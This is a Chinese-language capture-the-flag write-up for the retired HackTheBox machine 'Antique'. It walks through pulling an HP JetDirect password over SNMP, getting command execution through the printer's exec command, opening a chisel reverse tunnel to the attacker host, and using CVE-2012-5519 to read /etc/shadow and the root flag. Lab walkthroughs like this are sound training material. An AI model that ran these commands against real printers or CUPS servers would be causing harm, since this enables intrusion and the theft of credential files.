Antique Writeup

概述 (Overview)

8f891624028be1f8a1fbd13706183475.png|500

HOST: 10.10.11.107

OS: LINUX

发布时间: 2021-09-27

完成时间: 2021-10-10

机器作者: MrR3boot

困难程度: easy

机器状态: 退休

MACHINE TAGS: #CVE-2012-5519 #telnet #Printer #chisel

攻击链 (Kiillchain)

使用 Nmap 对目标服务器进行开放端口,通过 SNMP 服务协议获取 HP JetDirect 服务的密码,登录 JetDirect 服务后运行内置命令拿到立足点。将本地端口进行转发,并使用 CUPS 服务的历史漏洞读取 ROOT Flag。

枚举(Enumeration)

老套路,使用 Nmap 对目标服务器进行开放端口扫描:

PORT STATE SERVICE VERSION 23/tcp open telnet? | fingerprint-strings: | DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns, tn3270: | JetDirect | Password: | NULL: |_ JetDirect

从信息中可知,目标服务器仅开放了 23 端口,识别出的服务为 telnet,一般 telnet 命令可用于登录远程主机,对远程主机进行管理。

Port 23 - Telnet

让我想起一件很久以前的趣事,2015年还在做 PHPer 的时候,一次吃午饭的路上和老领导聊天,他问我:**目标企业的路由器暴漏在外网,你会用什么命令进行登录,后续使用什么命令访问目标服务器的内网?**当时我寻思了很久,ssh、ftp均被pass,因为在老路由器中大多数不会提供这两种服务。吃完饭后他告诉我是 Telnet,才想起忘了这个命令,因为对当时的我来说这个命令实在是用的太少,下意识忽略了。可能他那个年代的人,早期逛互联、BBS时用的均是 Telnet ,所以运用的比较深。

使用 Telnet 命令进行连接,会得到返回的信息: HP JetDirect,从 google 得知它是打印机服务器的指纹信息。

# telnet 10.10.11.107 23 Trying 10.10.11.107... Connected to 10.10.11.107. Escape character is '^]'. HP JetDirect Password:

立足点(Foothold)

随后通过 exploit-db 进行搜索,会得到一个标题为“HP JetDirect Printer - SNMP JetAdmin Device Password Disclosure” 的漏洞信息,通过 SNMP 服务可以获得设备密码信息。

SNMP - 简单网络管理协议 是一种用于监控网络中不同设备(如路由器、交换机、打印机、物联网…)的协议。详见:161,162,10161,10162/udp - Pentesting SNMP - HackTricks

而 SNMP 服务会暴漏 161 UDP 端口,所以可以通过 Nmap 进行扫描:

# nmap -sU --top-ports 10 -sV 10.10.11.107 -oA udp ...snip... 161/udp open snmp SNMPv1 server (public) ...snip...

可以看到它是开放的,使用 kali 内置的 snmpwalk 命令及可获得设备密码:

# snmpwalk -v 2c -c public 10.10.11.107 .1.3.6.1.4.1.11.2.3.9.1.1.13.0 iso.3.6.1.4.1.11.2.3.9.1.1.13.0 = BITS: 50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135

将得到的 binary 内容传成 ascii:

import binascii s='50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 11 9 122 123 126 130 131 134 135' binascii.unhexlify(s.replace(' ',''))

当然,也可以用我搭建的在线工具:CyberChef

fba4dcab60a2c6cc5d171e68e6845b4d.png

运行python脚本后得到设备密码:P@ssw0rd@123!!123,使用它成功登录 HP JetDirect 服务。

0e8ac266d53936718b8df9f48d526da3.png

运行内置的帮助命令得到一个名为 exec 的指令,说明中也告诉了我们可以通过它执行系统命令。使用它成功拿到目标服务器的立足点:

1f293a56d16d8f7c89565a49cefe8d06.png

权限提升(Privilege Escalation)

简单的进行了下信息收集,发现有个服务运行在本地的 631 端口上,通过 CURL 进行访问得到 title为 “Home - CUPS 1.6.1”:

netstat -ant Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN tcp 0 0 10.10.11.107:23 10.10.17.64:59176 ESTABLISHED tcp 0 13 10.10.11.107:44324 10.10.17.64:9900 ESTABLISHED tcp6 0 0 ::1:631 :::* LISTEN

根据服务信息和版本进行搜索,发现存在 CUPS 1.6.1 Root File Read(CVE-2012-5519) 漏洞。

CUPS 允许 lpadmin 组中的用户使用 cupsctl 命令更改 cupsd.conf 文件 。此命令还允许用户指定 ErrorLog 路径。 当用户访问 “/admin/log/error_log 页面” 时,以 root SUID 运行的 cupsd 守护程序读取 ErrorLog 路径并以纯文本形式回显它。简而言之,如果 ErrorLog 路径指向那里,则可以读取 root 用户拥有的文件。

尝试复现,因为服务监听的是本机回送地址所以需要进行端口转发,这里用到的工具是 chisel。

# kali ---> ./chisel server --port 8888 --reverse # 10.10.11.107 ---> chmod +x chisel && nohup chisel client 10.10.17.64:8888 R:631:127.0.0.1:631 > /dev/null 2>&1 &

在 kali 上访问转发出来的 631 端口,检查是否转发成功:

efafdc19660c146c74ca6f1895b61215.png

当在目标服务器中上运行 cupsctl ErrorLog="/etc/shadow" 后,访问漏洞产生的任意文件读取的页面(依次进入 “Administration” 页面中的 “View Error Log”),就能查看 root 账号的密码 hash。

2ae35f2699fbde9a3aec74c86a35a1b4.png

所以,通过这种方式可以直接读取 root.txt 文件获取 flag,而获取会话上的完整权限提升则可以使用 PwnKit 漏洞。

参考


版权声明

除非另有说明,本网站上的内容均根据 Creative Commons Attribution-ShareAlike License 4.0 International (CC BY-SA 4.0) 获得许可。